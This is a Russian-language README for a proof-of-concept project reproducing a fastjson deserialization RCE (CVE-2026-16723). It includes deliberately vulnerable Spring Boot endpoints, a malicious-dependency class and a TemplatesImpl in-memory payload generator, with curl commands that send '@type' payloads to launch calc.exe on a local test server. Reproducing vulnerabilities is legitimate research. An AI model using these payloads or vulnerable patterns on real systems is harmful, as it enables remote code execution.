
Репродукционный проект для CVE-2026-16723, критической RCE-уязвимости в fastjson 1.2.68-1.2.83. Демонстрирует обход AutoType, JNDI-инъекцию и payload-нагрузки TemplatesImpl в памяти с уязвимыми конечными точками Spring Boot.
Этот проект воспроизводит CVE-2026-16723 — критическую уязвимость удалённого выполнения кода (RCE) в fastjson 1.2.68 – 1.2.83. Уязвимость позволяет выполнить RCE при конфигурации по умолчанию без необходимости включения AutoType или наличия готовых гаджетов в classpath.
| Свойство | Значение |
|---|---|
| ID CVE | CVE-2026-16723 |
| Компонент | fastjson |
| Затронутые версии | 1.2.68 – 1.2.83 |
| Исправленные версии | 1.2.84+, 2.0.0+ |
| Тип уязвимости | Десериализация / RCE |
| Серьёзность | CVSS 3.1: 9.0 (КРИТИЧЕСКАЯ) |
| Вектор атаки | Сеть |
| Сложность | Низкая |
| Требуемые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
fastjson-cve-2026-16723/
├── pom.xml # Основной проект (приложение Spring Boot с уязвимым fastjson)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Точка входа Spring Boot
│ └── controller/
│ └── VulnerableController.java # Уязвимые REST-эндпоинты
├── malicious/ # Отдельный модуль: вредоносный JAR для симуляции атаки на цепочку поставок
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # Вредоносный класс со статическим инициализатором
│ ├── EvilTranslet.java # Вредоносный translet для режима TemplatesImpl в памяти
│ └── GenTemplatesPayload.java # Генерирует JSON-полезную нагрузку TemplatesImpl
├── templates-payload.json # Сгенерированная полезная нагрузка TemplatesImpl (прямой вариант)
├── templates-payload-preload.json # Сгенерированная полезная нагрузка TemplatesImpl (вариант с предзагрузкой класса)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 содержит обход механизма защиты AutoType. Даже при конфигурации по умолчанию (autoTypeSupport=false) злоумышленники могут создавать экземпляры произвольных классов с помощью специально сформированных JSON-полезных нагрузок, используя такие цепочки эксплойтов, как:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI-инъекция)java.lang.Runtime (непосредственное выполнение команд)@type: exploit.MaliciousClass)VulnerableController.java — два эндпоинта демонстрируют проблему:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Уязвимо: JSON.parseObject с конфигурацией по умолчанию
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true) не требуется!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Принудительная десериализация в Object — запускает фактическое создание экземпляра класса
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# Сборка основного приложения
mvn clean package -DskipTests
# Сборка вредоносного JAR (отдельный модуль)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — исполняемый JAR Spring Bootmalicious/target/malicious-jar-1.0.jar — вредоносный JAR с exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Сервер запускается на http://localhost:8080
Требование к среде выполнения: этот проект рассчитан на Java 8, и режим TemplatesImpl в памяти проверен на JDK 8. На JDK 9+ модульная система блокирует рефлексивный доступ к внутренностям
java.xml, поэтому цепочка завершается ошибкойError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, если не добавить флаги--add-opens:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Основной pom.xml объявляет вредоносный JAR как зависимость, поэтому он включается в исполняемый JAR:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
Проверка во время выполнения:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
Ожидаемый результат: CVE-2026-16723 Reproduction Endpoint Ready...
Модуль malicious предоставляет exploit.MaliciousClass со статическим инициализатором, который выполняет calc.exe при загрузке класса.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
Результат:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
И на сервере запускается calc.exe.
Примечание: это демонстрирует сценарий атаки на цепочку поставок, когда вредоносная зависимость присутствует в classpath. Уязвимость позволяет создавать экземпляры любого класса из classpath, а не только классов JDK.
В отличие от режима цепочки поставок (требующего вредоносный класс в classpath) и режима JNDI (требующего LDAP/RMI-сервер), этот режим встраивает вредоносный байт-код непосредственно в полезную нагрузку и загружает его из памяти через com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — ничего дополнительно разворачивать не нужно.
Шаг 1 — генерация полезной нагрузки:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
Это компилирует exploit.EvilTranslet (подкласс AbstractTranslet, чей статический инициализатор запускает calc.exe), кодирует его байты .class в base64 и записывает:
templates-payload.json — прямой вариант ("@type": "TemplatesImpl")templates-payload-preload.json — вариант с предзагрузкой java.lang.ClassШаг 2 — отправка полезной нагрузки:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
Результат:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
И на сервере запускается calc.exe.